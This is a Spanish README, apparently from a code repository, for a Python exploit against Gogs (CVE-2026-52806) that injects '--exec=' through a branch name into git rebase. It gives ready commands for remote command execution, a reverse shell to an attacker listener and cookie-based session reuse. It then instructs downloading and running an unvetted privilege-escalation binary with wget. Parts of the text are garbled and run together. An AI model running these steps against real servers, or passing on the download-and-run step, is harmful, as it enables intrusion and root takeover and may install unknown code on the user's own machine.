
Gogs RCE mediante inyección de argumentos en git rebase (CWE-88) — PoC en Python. CVE-2026-52806
git rebase (CWE-88)Ejecución remota de código autenticada contra Gogs (<= 0.14.2 y 0.15.0+dev) mediante inyección de argumentos en el flujo de fusión de pull requests.
CVE-2026-52806
La función Merge() en internal/database/pull.go pasa el nombre de la rama
base del PR a git rebase sin un separador --. Una rama llamada
--exec=<COMMAND> es interpretada por Git como el flag --exec en lugar de un
argumento posicional, lo que provoca que sh -c <COMMAND> se ejecute después
de cada commit reproducido durante el rebase.
?v= en los recursos estáticos y comprueba si
el registro de usuarios está abierto, protegido por captcha o deshabilitado.-u <username> -pw <password>. Crea un
token de API mediante autenticación Basic o la página de ajustes web.master con un READMEfeature-* con un commit divergente--exec=sh${IFS}.payload que contiene un
script que ejecuta el comando del atacante en segundo plano--exec=.merge_style=rebase_before_merging. Gogs ejecuta internamente
git rebase --exec=sh${IFS}.payload, que ejecuta el payload después de
cada commit reproducido.requests (pip install requests)gitpython3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
Informa:
Registration: ENABLED (no captcha) — puede auto-registrarseRegistration: ENABLED (CAPTCHA DETECTED) — cree una cuenta manualmente en
la página de registro del objetivo y luego proporcione las credenciales con -u / -pwRegistration: DISABLED — se necesitan credenciales existentes de un administrador# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
Una vez que tenga una shell en el objetivo, el proceso de Gogs normalmente se
ejecuta como un usuario con pocos privilegios (p. ej. git en Docker). Para
intentar escalar privilegios a root, descargue y ejecute el binario
lpe-toolkit desde la página de
lanzamientos del proyecto:
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
El toolkit enumera exploits de kernel, configuraciones incorrectas y otros vectores comunes de escalada.
exploit/multi/http/gogs_rebase_rce de Rapid7
por Jonah Burgess (CryptoCat)
(PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)Este PoC en Python está inspirado en el módulo de Metasploit publicado. La vulnerabilidad fue descubierta y divulgada de forma responsable por Jonah Burgess (CryptoCat) en Rapid7.
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal. Los autores no son responsables del mal uso o de los daños causados por este software.
La API de Gogs no admite la eliminación de tokens, por lo que los tokens de
acceso a la API creados durante la explotación persistirán y deberán eliminarse
manualmente en /user/settings/applications de la instancia objetivo.
| Flag | Descripción |
|---|
target | Host[:puerto] (p. ej. 47.109.58.140:9000) |
-p, --port | Puerto HTTP (predeterminado: 3000) |
-u, --username | Nombre de usuario de Gogs |
-pw, --password | Contraseña de Gogs |
--cookie | Cadena de la cookie de sesión |
--cmd | Comando a ejecutar en el objetivo |
--listener | Shell inversa host:port |
--lhost / --lport | Host y puerto de la shell inversa |
--ssl | Usar HTTPS |
--preflight-only | Ejecutar solo las comprobaciones pre-flight |